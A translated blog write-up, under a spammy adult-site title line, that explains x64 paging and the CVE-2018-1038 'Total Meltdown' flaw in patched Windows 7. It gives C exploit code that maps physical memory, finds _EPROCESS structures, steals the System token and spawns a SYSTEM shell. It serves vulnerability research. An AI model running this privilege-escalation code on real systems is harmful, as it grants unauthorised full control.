压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

針對微軟安全補(bǔ)丁漏洞(CVE-2018-1038)的分析與利用

概述

早在今年3月份,Ulf Frisk在Windows 7和Windows Server 2008 R2中發(fā)現(xiàn)了一個漏洞。微軟此前為緩解Meltdown漏洞而發(fā)布過一個補(bǔ)丁,然而該修補(bǔ)又無意中造成特定版本的Windows中出現(xiàn)一個新的漏洞,該漏洞允許任意進(jìn)程訪問和修改頁表項(Page Table Entries)。
有關(guān)該漏洞的Write-Up請參見Ulf的博客:http://blog.frizk.net/2018/03/total-meltdown.html ,這篇內(nèi)容非常值得一讀。

在本周,我有一些空閑的時間,因此我決定要深入研究一下這個漏洞,看看該漏洞能如何利用。最終的目的是為了發(fā)現(xiàn)一種該漏洞的快速利用方式,能夠迅速提升特權(quán)。在此過程中,我深入研究了Windows內(nèi)存管理相關(guān)的內(nèi)容,并在本文中詳述了如何針對此類漏洞進(jìn)行漏洞利用。
像往常一樣,本文主要面向于希望了解漏洞利用探索過程的人,而并不是簡單地提供一個EXP。首先,我們從一些關(guān)于分頁的基礎(chǔ)知識開始。

分頁的基本原理

為了能理解這個漏洞的工作原理,我們首先需要講解一些關(guān)于分頁的基本原理,即如何在x86或x64架構(gòu)上進(jìn)行分頁。

眾所周知,x64操作系統(tǒng)上的虛擬地址通常如下所示:

0x7fffffd6001

然而,可能有人并不清楚,虛擬地址不僅僅是指向RAM中任意位置的指針,它實際上由多個字段組成,這些字段在將虛擬地址轉(zhuǎn)換為物理地址時具有特定的用途。
我們先將上面的示例虛擬地址轉(zhuǎn)換成二進(jìn)制:

0000000000000000 000001111 111111111 111111111 111010110 000000000001

從左到右,我們首先忽略了前16位,因為這些位對我們來說沒有實際意義,它們只是對虛擬地址中第48位的鏡像。
從偏移量第48位開始:
最開始的9位000001111(十進(jìn)制15)是到PML4表的偏移量;
接下來的9位111111111(十進(jìn)制511)是PDPT表的偏移量;
接下來的9位111111111(十進(jìn)制511)是PD表的偏移量;
接下來的9位111010110(十進(jìn)制數(shù)470)是PT表的偏移量;
最后的12位000000000001(十進(jìn)制1)是內(nèi)存頁的偏移量。
當(dāng)然,接下來的一個問題是,什么是PML4、PDPT、PD和PT?

PML4、PDPT、PD和PT

在x64體系結(jié)構(gòu)中,將虛擬地址轉(zhuǎn)換為物理地址的這一過程,是通過CR3寄存器指向的一組分頁表實現(xiàn)的:
PML4 – Page Map Level 4
PDPT – Page Directory Pointer Table
PD – Page Directory
PT – Page Table

其中,每個表負(fù)責(zé)提供數(shù)據(jù)存儲位置的物理地址,以及與該內(nèi)存位置相關(guān)的標(biāo)志。

例如,頁表中的條目可以負(fù)責(zé)提供查找鏈(Lookup Chain)中指向下一個表的指針,以用于在內(nèi)存頁上設(shè)置NX位,或者是確保內(nèi)核內(nèi)存不能被操作系統(tǒng)上運行的應(yīng)用訪問。

為了做到簡化,上面的虛擬地址查找過程如下所示:

在這里,我們看到遍歷這些表的過程是由各個條目完成的,這些條目負(fù)責(zé)提供指向下一個表的指針,最后的條目指向了內(nèi)存中所存儲數(shù)據(jù)的物理地址。

大家可以想到,要為操作系統(tǒng)上的每個進(jìn)程存儲并管理頁表需要付出大量的努力。面對這一問題,操作系統(tǒng)的開發(fā)人員采用了“自引用頁表”(Self-Referencing Page Tables)的技術(shù)來緩解這一復(fù)雜的過程。

自引用頁表

簡而言之,自參照頁表通過引用自身PML4表中的字段來工作。舉例來說,如果我們在PML4表中創(chuàng)建索引為0x100的新條目,并且該條目指向PML4表的物理地址,那我們就有了所謂的“自引用條目”。

那么,為什么有人會這樣做呢?實際上,這樣一來我們就得到了一組虛擬地址,我們可以在虛擬地址空間中對任何頁表進(jìn)行引用和修改。

例如,如果我們想要修改某個進(jìn)程的PML4表,那么可以簡單地引用虛擬地址0x804020100000,其具體為:
PML4索引0x100 – PML4的物理地址;
PDPT索引0x100 – 同樣是PML4的物理地址;
PD索引0x100 – 依然是PML4的物理地址;
PT索引0x100 – 還是PML4的物理地址。
最終會返回PML4內(nèi)存中的內(nèi)容。

希望上述的例子,能讓大家理解自引用頁表的遞歸特性的威力。我用了幾晚的時間盯著屏幕,才得以弄明白這一點。

為了進(jìn)一步展示,我們編寫了下面的代碼作為例子,可以看到ffff804020100000的虛擬地址允許我們檢索PML4表進(jìn)行編輯,其中PML4的索引0x100是自引用的。

package main

import (
    "fmt" 
)

func VAtoOffsets(va uint64) {
    phy_offset := va & 0xFFF
    pt_index := (va >> 12) & 0x1FF
    pde_index := (va >> (12 + 9)) & 0x1FF
    pdpt_index := (va >> (12 + 9 + 9)) & 0x1FF
    pml4_index := (va >> (12 + 9 + 9 + 9)) & 0x1FF

    fmt.Printf("PML4 Index: %03xn", pml4_index)
    fmt.Printf("PDPT Index: %03xn", pdpt_index)
    fmt.Printf("PDE Index: %03xn", pde_index)
    fmt.Printf("PT Index: %03xn", pt_index)
    fmt.Printf("Page offset: %03xn", phy_offset)
}

func OffsetsToVA(phy_offset, pt_index, pde_index, pdpt_index, pml4_index uint64) {
    var va uint64

    va = pml4_index << (12 + 9 + 9 + 9)
    va = va | pdpt_index << (12 + 9 + 9)
    va = va | pde_index << (12 + 9)
    va = va | pt_index << 12
    va = va | phy_offset

    if ((va & 0x800000000000) == 0x800000000000) {
        va |= 0xFFFF000000000000
    }

    fmt.Printf("Virtual Address: %xn", va)
}

func main() {
    VAtoOffsets(0xffff804020100000)
    OffsetsToVA(0, 0x100, 0x100, 0x100, 0x100)
}

大家可以在瀏覽器中運行此代碼并查看結(jié)果,鏈接為:https://play.golang.org/p/tyQUoox47ri

現(xiàn)在,假設(shè)我們要修改虛擬地址的PDPT條目。借助自引用技術(shù),減少通過自引用條目遞歸的次數(shù),這樣一來這個過程就變得非常簡單。

例如,給定一個PML4索引0x150,以及在0x100中的自引用條目,我們可以返回地址為0xffff804020150000的相應(yīng)PDPT表。在這里,golang應(yīng)用程序可以再次發(fā)揮作用,展示這一過程:https://play.golang.org/p/f02hYYFgmWo

漏洞分析

當(dāng)我們對基礎(chǔ)知識有足夠了解之后,就可以轉(zhuǎn)向漏洞。

如果我們將2018年2月的微軟安全更新補(bǔ)丁打在Windows 7 x64或Windows Server 2008 R2 x64系統(tǒng)上,我們會發(fā)現(xiàn)PML4的條目0x1e8已經(jīng)更新。

我在實驗室中搭建了一個受漏洞影響的操作系統(tǒng)環(huán)境,發(fā)現(xiàn)PML4的條目0x1e8與此類似:

007000002d282867

在這里,存在一些標(biāo)志。我們需要注意這個頁表項的第三位。如果設(shè)置了第三位,那么就將1允許從用戶模式訪問內(nèi)存頁,而不再將訪問限制在內(nèi)核。

更糟糕的是,PM4條目0x1e8被用作Windows 7和Windows Server 2008 R2 x64中的自引用條目,這就意味著任何用戶模式的進(jìn)程都被授權(quán)查看和修改PML4頁表。

正如我們所了解的那樣,通過修改這個頂級的頁表,我們就能夠查看并修改整個系統(tǒng)中的所有物理內(nèi)存。

漏洞利用

那么,如何利用這個漏洞呢?要利用這一漏洞并成功實現(xiàn)特權(quán)升級,我們可以采用如下步驟來實現(xiàn):

1、創(chuàng)建一組新的頁表,這將導(dǎo)致允許訪問任何物理內(nèi)存地址;

2、創(chuàng)建一組可在內(nèi)核內(nèi)存中搜索_EPROCESS結(jié)構(gòu)的簽名;

3、為我們執(zhí)行的進(jìn)程和System進(jìn)程,找到_EPROCESS內(nèi)存地址;

4、將我們正在執(zhí)行進(jìn)程的token替換成System的token,從而將正在執(zhí)行的進(jìn)程升級到NT AUTHORITYSystem。

在這里必須要提到,我們本次研究參考了PCILeech的代碼( https://github.com/ufrisk/pcileech/blob/master/pcileech/devicetmd.c )。這是我第一次在這個級別研究操作系統(tǒng)的分頁,正是devicetmd.c所使用的漏洞代碼解決了我的一個難題,為此我必須對Ulf Frisk表示感謝。

我們將使用PCILeech的代碼來設(shè)置頁表,而不是簡單地重新實現(xiàn)Ulf的分頁技術(shù)。為了能更清楚明白地解釋這一過程,我更新了一些神奇的數(shù)字并添加了解釋,以幫助大家清楚到底發(fā)生了什么:

unsigned long long iPML4, vaPML4e, vaPDPT, iPDPT, vaPD, iPD;
DWORD done;

// setup: PDPT @ fixed hi-jacked physical address: 0x10000
// This code uses the PML4 Self-Reference technique discussed, and iterates until we find a "free" PML4 entry
// we can hijack.
for (iPML4 = 256; iPML4 < 512; iPML4++) {
    vaPML4e = PML4_BASE + (iPML4 << 3);
    if (*(unsigned long long *)vaPML4e) { continue; }

    // When we find an entry, we add a pointer to the next table (PDPT), which will be
    // stored at the physical address 0x10000
    // The flags "067" allow user-mode access to the page.
    *(unsigned long long *)vaPML4e = 0x10067;
    break;
}
printf("[*] PML4 Entry Added At Index: %dn", iPML4);

// Here, the PDPT table is references via a virtual address.
// For example, if we added our hijacked PML4 entry at index 256, this virtual address
// would be 0xFFFFF6FB7DA00000 + 0x100000
// This allows us to reference the physical address 0x10000 as:
// PML4 Index: 1ed | PDPT Index : 1ed |    PDE Index : 1ed | PT Index : 100
vaPDPT = PDP_BASE + (iPML4 << (9 * 1 + 3));
printf("[*] PDPT Virtual Address: %p", vaPDPT);

// 2: setup 31 PDs @ physical addresses 0x11000-0x1f000 with 2MB pages
// Below is responsible for adding 31 entries to the PDPT
for (iPDPT = 0; iPDPT < 31; iPDPT++) {
    *(unsigned long long *)(vaPDPT + (iPDPT << 3)) = 0x11067 + (iPDPT << 12);
}

// For each of the PDs, a further 512 PT's are created. This gives access to
// 512 * 32 * 2mb = 33gb physical memory space
for (iPDPT = 0; iPDPT < 31; iPDPT++) {
    if ((iPDPT % 3) == 0)
        printf("n[*] PD Virtual Addresses: ");

    vaPD = PD_BASE + (iPML4 << (9 * 2 + 3)) + (iPDPT << (9 * 1 + 3));
    printf("%p ", vaPD);

    for (iPD = 0; iPD < 512; iPD++) {
        // Below, notice the 0xe7 flags added to each entry.
        // This is used to create a 2mb page rather than the standard 4096 byte page.
        *(unsigned long long *)(vaPD + (iPD << 3)) = ((iPDPT * 512 + iPD) << 21) | 0xe7;
    }
}

printf("n[*] Page tables created, we now have access to ~33gb of physical memoryn");

現(xiàn)在,我們建立了頁表,接下來就需要在物理內(nèi)存中尋找_EPROCESS結(jié)構(gòu)。接下來,我們一同來研究如何在內(nèi)核內(nèi)存中查找_EPROCESS對象:

為了創(chuàng)建一個簡單的簽名,我們可以使用ImageFileName和PriorityClass字段,掃描內(nèi)存中是否出現(xiàn)了這兩個字段,直到得到命中結(jié)果。在我的嘗試中,這種方法比較有效,但如果大家發(fā)現(xiàn)存在誤報的情況,可以再做進(jìn)一步優(yōu)化:

#define EPROCESS_IMAGENAME_OFFSET 0x2e0
#define EPROCESS_TOKEN_OFFSET 0x208
#define EPROCESS_PRIORITY_OFFSET 0xF  // This is the offset from IMAGENAME, not from base

unsigned long long ourEPROCESS = 0, systemEPROCESS = 0;
unsigned long long exploitVM = 0xffff000000000000 + (iPML4 << (9 * 4 + 3));
STARTUPINFOA si;
PROCESS_INFORMATION pi;

ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

printf("[*] Hunting for _EPROCESS structures in memoryn");
for (int i = 0x100000; i < 31 * 512 * 2097152; i++) {
    __try {
        // Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
        if (ourEPROCESS == 0 && memcmp("TotalMeltdownP", (unsigned char *)(exploitVM + i), 14) == 0) {
            if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
                ourEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
                printf("[*] Found our _EPROCESS at %pn", ourEPROCESS);
            }
        }
        // Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
        else if (systemEPROCESS == 0 && memcmp("System", (unsigned char *)(exploitVM + i), 14) == 0) {
            if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
                systemEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
                printf("[*] Found System _EPROCESS at %pn", systemEPROCESS);
            }
        }

        if (systemEPROCESS != 0 && ourEPROCESS != 0) {
            ...
            break;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        printf("[X] Exception occured, stopping to avoid BSODn");
    }
}

我們此前講解過一些內(nèi)核特權(quán)升級利用的方法,請參見:

https://blog.xpnsec.com/hevd-null-pointer/

https://blog.xpnsec.com/hevd-stack-overflow/

https://blog.xpnsec.com/windows-warbird-privesc/

最終,與大多數(shù)內(nèi)核特權(quán)升級利用一樣,我們需要將我們的_EPROCESS.Token字段替換為System進(jìn)程token的字段:

if (systemEPROCESS != 0 && ourEPROCESS != 0) {
    // Swap the tokens by copying the pointer to System Token field over our process token
    printf("[*] Copying access token from %p to %pn", systemEPROCESS + EPROCESS_TOKEN_OFFSET, ourEPROCESS + EPROCESS_TOKEN_OFFSET);
    *(unsigned long long *)((char *)ourEPROCESS + EPROCESS_TOKEN_OFFSET) = *(unsigned long long *)((char *)systemEPROCESS + EPROCESS_TOKEN_OFFSET);
    printf("[*] Done, spawning SYSTEM shell...nn");

    CreateProcessA(0,
                   "cmd.exe",
                   NULL,
                   NULL,
                   TRUE,
                   0,
                   NULL,
                   NULL,
                   &si,
                   &pi);

    break;
}

我是在Windows 7 x64的實驗環(huán)境對上述漏洞利用過程進(jìn)行了嘗試,演示視頻請參見:https://youtu.be/5fl5jFy4XMg

最終代碼可以在GitHub上找到:https://gist.github.com/xpn/bdb99cee8895bab4b1a0671696570d94

**更新:我對該代碼進(jìn)行了更新,更新后的版本增加了一些內(nèi)存檢查,同樣上傳到了GitHub上面:https://gist.github.com/xpn/3792ec34d712425a5c47caf5677de5fe

修復(fù)與改進(jìn)

為確保我們的系統(tǒng)免受該漏洞攻擊,微軟已經(jīng)發(fā)布了針對CVE-2018-1038的修復(fù)程序,該修復(fù)程序可用于修復(fù)此問題。

對于此前曾經(jīng)做過低級別開發(fā)的人員,大家可能已經(jīng)注意到,在查找_EPROCESS對象的過程中,上述利用代碼并沒有對設(shè)備映射內(nèi)存進(jìn)行任何進(jìn)一步的檢查。在我的實驗環(huán)境中,并沒有產(chǎn)生任何問題,但考慮到不同的硬件和環(huán)境,還是應(yīng)該增加額外的檢查來降低BSOD的風(fēng)險。為了解決這一問題,我已經(jīng)在新版本的PoC中實現(xiàn)了額外的內(nèi)存檢查,詳情請見GitHub上的代碼:https://gist.github.com/xpn/3792ec34d712425a5c47caf5677de5fe

參考文獻(xiàn)和擴(kuò)展閱讀

[1] Total Meltdown漏洞:http://blog.frizk.net/2018/03/total-meltdown.html

[2] 在RUST中編寫一個操作系統(tǒng) – 頁表:https://os.phil-opp.com/page-tables/#recursive-mapping

[3] GO語言中的頁表計算:https://play.golang.org/p/tyQUoox47ri

原文鏈接:https://blog.xpnsec.com/total-meltdown-cve-2018-1038/

上一篇:微軟、亞馬遜、谷歌正嚴(yán)重威脅傳統(tǒng)安全廠商

下一篇:一個Linux平臺的“門羅幣”挖礦木馬的查殺與分析